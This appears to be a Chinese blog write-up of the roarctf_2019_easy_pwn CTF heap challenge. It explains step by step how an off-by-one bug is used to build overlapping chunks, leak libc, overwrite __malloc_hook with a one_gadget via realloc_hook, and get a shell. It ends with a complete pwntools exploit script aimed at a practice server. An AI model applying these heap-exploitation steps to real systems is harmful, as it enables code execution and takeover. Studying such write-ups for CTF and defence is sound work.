roarctf_2019_easy_pwn

roarctf_2019_easy_pwn 复现

这是ubuntu16的堆题了,看起来都是古老题目,也很有必要去整理一下思路。这是必不可少的过程。

来看看检查
在这里插入图片描述
保护尽开,开启了RELRO保护,got表不可写,只能想办法修改hook表了

反汇编直接看漏洞,在edit函数中
在这里插入图片描述
当我们要修改的size大于原来size 10 的时候,触发off-by-one,可以多写入一个字节

free后,指针置空,没毛病
在这里插入图片描述

整理一下思路

  • 通过off-by-one构造叠堆
  • 泄露libc
  • 申请chunk地址到malloc_hook
  • 修改malloc_hook内容为one_gadget
  • 执行one_gadget

第一步:分配堆块

add(0x18) #0	
add(0x10) #1
add(0x90) #2
add(0x10) #3

为什么是 0x18 ,这样可以把内存申请到下一个chunk的prve_size 的位置,正好下一个地址就是size,触发off-by-one,就可以修改下一个堆块的size
在这里插入图片描述

第二步:触发off-by-one修改chunk0,将chunk1的size改为0xa1,同时呢,还要修改chunk2,让伪造的chunk1通过检查

payload = b"a"*0x10 + p64 (0x20) + p8(0xa1)
edit(0,0x18+10,payload)

payload = p64(0)*0xe + p64(0xa0) + p64(0x21)
edit(2,0x80,payload)

在这里插入图片描述

第三步:这时候,释放掉chunk1,重新申请。这样chunk1chunk2就有重叠部分。因为申请内存是calloc函数,在申请内存时会导致数据清空,因此要修改一下chunk2的size

delete(1)
add(0x90)

payload = p64(0)*3 + p64(0xa1)
edit(1,0x20,payload)

重叠部分
在这里插入图片描述
在这里插入图片描述

第四步:把chunk2释放掉后,chunk2进入unsorted bin,打印chunk1(chunk1部分包含了chunk2),会把unsorted bin输出出来。就能得到main_arena+offset的地址

delete(2)
show(1)

libc_base = uu64() - 0x3c4b78
malloc_hook = libc.sym["__malloc_hook"] + libc_base
realloc_hook = libc.sym["realloc"] + libc_base

在这里插入图片描述
在这里插入图片描述

第五步:重新申请chunk2,构造chunk2,然后释放。修改chunk2的链表地址为malloc_hook,把堆块申请到malloc_hook

add(0x80) #2
payload = p64(0)*3+p64(0x71)+p64(0)*12 + p64(0x70) + p64(0x21)
edit(1,0x90,payload)
delete(2)

payload = p64(0)*3 + p64(0x71) + p64(malloc_hook - 0x23)*2
edit(1,0x30,payload)
add(0x60)
add(0x60) #4

修改地址成功
在这里插入图片描述

解释一下为什么要写入malloc_hook - 0x23,这样看这个堆块的size就是0x70,这么做也就是为了绕过检查
在这里插入图片描述

第六步:申请到堆块后,修改malloc_hook的内容为 one_gadget。最后,申请堆块执行one_gadget

one = [0x45216,0x4526a,0xf1147,0xf02a4]
one_gadget = libc_base + one[2]

payload = b"a"*11 + p64(one_gadget) + p64(realloc_hook+4)
edit(4,27,payload)

add(0x60)
ia()

这里为什么要写入realloc_hook+4 ? one_gadget执行是需要条件的
在这里插入图片描述
realloc_hook+4的代码是push r13,它的作用呢,是用来调栈帧的
在这里插入图片描述

exp

from pwn import * 

binary = "./pwn"
elf = ELF(binary)
libc = ELF("libc-2.23.so") 
ip = 'node4.buuoj.cn'
port = 27435
local = 0
if local:
	io = process(binary)
else:
	io = remote(ip, port)

#context.log_level = "debug"

def debug():
	gdb.attach(io)
	pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800

def menu(idx):
	sla("choice: ",str(idx))

def add(size):
	menu(1)
	sla("size: ",str(size))

def edit(idx,size,content):
	menu(2)
	sla("index: ",str(idx))
	sla("size: ",str(size))
	sla("content: ",content)

def delete(idx):
	menu(3)
	sla("index: ",str(idx))

def show(idx):
	menu(4)
	sla("index: ",str(idx))

add(0x18)
add(0x10) #1
add(0x90) #2
add(0x10)

payload = b"a"*0x10 + p64(0x20) + p8(0xa1)
edit(0,0x18+10,payload)

payload = p64(0)*0xe + p64(0xa0) + p64(0x21)
edit(2,0x80,payload)

delete(1)
add(0x90)

payload = p64(0)*3 + p64(0xa1)
edit(1,0x20,payload)
delete(2)

show(1)

libc_base = uu64() - 0x3c4b78
lg("libc_base")
malloc_hook = libc.sym["__malloc_hook"] + libc_base
realloc_hook = libc.sym["realloc"] + libc_base
lg("malloc_hook")
lg("realloc_hook")

add(0x80)
payload = p64(0)*3+p64(0x71)+p64(0)*12 + p64(0x70) + p64(0x21)
edit(1,0x90,payload)

delete(2)
payload = p64(0)*3 + p64(0x71) + p64(malloc_hook - 0x23)*2
edit(1,0x30,payload)

add(0x60)
add(0x60)


one = [0x45216,0x4526a,0xf1147,0xf02a4]
one_gadget = libc_base + one[2]

payload = b"a"*11 + p64(one_gadget) + p64(realloc_hook+4)
edit(4,27,payload)
add(0x60)

ia()

success!!!
在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值